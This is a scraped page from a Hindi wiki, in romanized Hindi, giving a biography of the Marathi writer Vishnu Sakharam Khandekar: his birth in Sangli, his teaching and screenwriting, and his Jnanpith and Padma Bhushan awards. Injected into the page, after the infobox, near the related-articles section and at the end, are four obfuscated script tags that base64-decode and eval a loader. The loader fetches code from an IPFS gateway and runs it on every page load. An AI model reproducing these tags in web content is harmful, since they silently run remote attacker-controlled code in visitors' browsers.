विष्णु सखाराम खांडेकर

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
vishnu sakharam khaandekar
poora nam vishnu sakharam khaandekar
janm 19 janavari, 1898
janm bhoomi saangali, maharashtr
mrityu 2 sitanbar, 1976
pati/patni manu manerikar
karm bhoomi bharat
karm-kshetr marathi sahity
mukhy rachanaean devayani, yayati, sharmishtha, kachadev.
bhasha marathi
vidyalay 'banbee vishvavidyalay', 'fargyusan k aaulej', pune
puraskar-upadhi 'sahity akadami puraskar', 'padmabhooshan' aur 'jnanapith puraskar'
prasiddhi sahityakar, kahanikar, nibandhakar, upanyasakar.
nagarikata bharatiy
any janakari vishnu sakharam khaandekar ke lekhoan aur kavitaoan ka prakashan 1919 se shuroo hua. khaandekar ji kala aur jivan ke bich ghanishth sanbandh manate the.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishnu sakharam khaandekar (aangrezi: Vishnu Sakharam Khandekar, janm- 19 janavari, 1898, saangali, maharashtr; mrityu- 2 sitanbar, 1976) marathi bhasha ke suprasiddh sahityakaroan mean se ek the. unake lalit nibandh unaki bhasha-shaili adi ke karan bahut pasand kiye jate haian. unhoanne upanyasoan aur kahaniyoan ke atirikt natak, nibandh tatha alochanatmak nibandh adi likhe the. vishnu sakharam khaandekar ko 'sahity akadami puraskar', 'padmabhooshan' aur 'jnanapith puraskar' (1974) se bhi sammanit kiya gaya tha.

jivan parichay

vishnu sakharam khaandekar ka janm 19 janavari, 1898 ko maharashtr ke saangali zile mean hua tha. ve marathi bhasha ke suprasiddh sahityakar v medhavi chhatr the. 1913 mean banbee vishvavidyalay se maitrik mean achchhe aankoan se ve uttirn hue the. bad mean pune jakar unhoanne 'fargyusan k aaulej' mean pravesh liya, lekin is bich unake pita divagant ho ge aur unake chacha ne unhean god le liya. chacha ko unake shikshan par kharch karana bekar laga, isalie k aaulej chho dakar vishnu sakharam khaandekar ko ghar par vapas lautana p da. tin varsh vah ganbhir rogoan se pi dit rahe aur svasth hone par 1920 mean ghar se lagabhag 24 ki.mi. door 'shirod' namak gaanv ke ek skool mean adhyapak ho ge.

vivahit jivan

nau varsh bad vishnu sakharam khaandekar ka 'manu manerikar' se vivah hua. manu shikshit nahian thian, sahity ke prati kisi prakar ki ruchi bhi unamean n thi; par vah kushal grihini thian. 1933 mean ek vishaile saanp dvara dase jane par khaandekar ko bahut kasht sahana p da aur isaka prabhav unake chehare par bad tak bana raha.

patakatha lekhan

shirod se vishnu sakharam khaandekar 1938 mean kolhapur a ge aur usake bad se vahian rahakar prasiddh film nirmata-nirdeshak, abhineta mastar vinayak ke lie filmi patakatha likhane mean lag ge. kuchh varsh bad mastar vinayak ki asamay mrityu ho jane par patakatha lekhan se unaki ruchi hat gee aur phir vah apane lekhan-kary mean sanlagn ho ge. 1941 mean vishnu sakharam khaandekar ko 'marathi sahity sammelan' ka adhyaksh chuna gaya. unaki rachanaoan par marathi mean 'chhaya', 'jvala', 'devata', 'amrit', 'dharmapatni' aur 'paradeshi' adi filmean bhi banian. in sab filmoan mean se 'jvala', 'amrit' aur 'dharmapatni' nam se hindi bhasha mean bhi filmean banaee geean. unhoanne marathi film 'lagn pahave karoon' ki patakatha aur sanvad lekhan ka kary bhi kiya tha.

lekhan

khaandekar ko pratikool svasthy ke karan jivan bhar kasht bhogane p de . unaki drishti tak chali gee, magar 78 varsh ki ayu mean bhi vah pramukh marathi patr-patrikaoan ko niyamit rachana-sahayog diya karate aur sahity jagat ki pratyek nee gatividhi se sanpark banae rakhate.

puraskar

apane sudirgh aur yashasvi jivan mean unhoanne anek puraskar v samman prapt kiye.

  • yayati ke lie unhean sahity akadami ne bhi puraskrit kiya aur bad mean feloship bhi pradan ki.
  • bharat sarakar ne sahityik sevaoan ke lie padmabhooshan upadhi se alankrit kiya.
  • jnanapith puraskar dvara sammanit hone vale vah pratham marathi sahityakar the.
  • bharat sarakar ne vishnu sakharam khaandekar ke samman mean 1998 mean ek smarak dak tikat bhi jari kiya tha.

rachanaean

[[chitr:Vishnu-Sakharam-Khandekar-Stamp.jpg|thumb|250px|vishnu sakharam khaandekar par dak tikat]] pramukh kritiyaan:-

upanyas-
  1. devayani
  2. yayati
  3. sharmishtha
  4. kachadev

prakashan

vishnu sakharam khaandekar ke lekhoan aur kavitaoan ka prakashan 1919 se shuroo hua. apani unhian dinoan ki ek vyangy rachana ke karan unhean manahani ke abhiyog mean phansana p da, par usase sare koankan pradesh mean vah achanak prasiddh ho ge. pune mean unhean pramukh kavi natakakar ramaganesh gadakari ke nikat sanpark mean ane ka avasar mila. gadakari aur kolhatakar ke atirikt, jin any marathi lekhakoan ka vishesh prabhav khaandekar par p da, ve the- gopal ganesh agarakar, keshavasut aur hari narayan apte.

gaandhiji ki vicharadhara ka prabhav

shirod mean bitae ge 18 varsh khaandekar ke lie nirnayak siddh hue. logoan ki bhayanak daridrata aur ajnan ka bodh unhean vahian hua. vahian gaandhi ji ki vicharadhara ki un par amit chhap p di, jab ek ke bad ek unake kee mitr aur sahayogi 'satyagrah aandolan' mean pak de ge. khaandekar kala aur jivan ke bich ghanishth sanbandh manate the. unaki drishti mean kala ek sashakt madhyam hai, jisake dvara lekhak poore manav-samaj ki seva kar sakata hai.

svatantr sahityik vidha

vishnu sakharam khaandekar ne sahity ki vibhinn vidhaoan ka kushal prayog kiya. unaki lagan ka hi phal tha ki adhunik marathi laghukatha ek svatantr sahityik vidha ke roop mean pratishthit huee aur vaiyaktik nibandh ko protsahan mila. 'roopak-katha' namak ek ne kahani roop ko bhi unhoanne vikasit kiya, jo matr pratik katha ya drishtaant katha n hokar aur bhi bahut kuchh hoti hai. aksar vah gadyatmak kavita jaisi jan p dati hai. 1959 mean, arthat khaandekar ke 61vean varsh mean prakashit 'yayati marathi upanyas sahity mean ek nee pravritti' ka pratik bana. spasht tha ki jivan ke tisare pahar mean bhi unamean navasrijan ki adbhut kshamata thi.

nidhan

marathi bhasha ke is charchit sahityakar vishnu sakharam khaandekar ka nidhan 2 sitanbar, 1976 ko hua.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>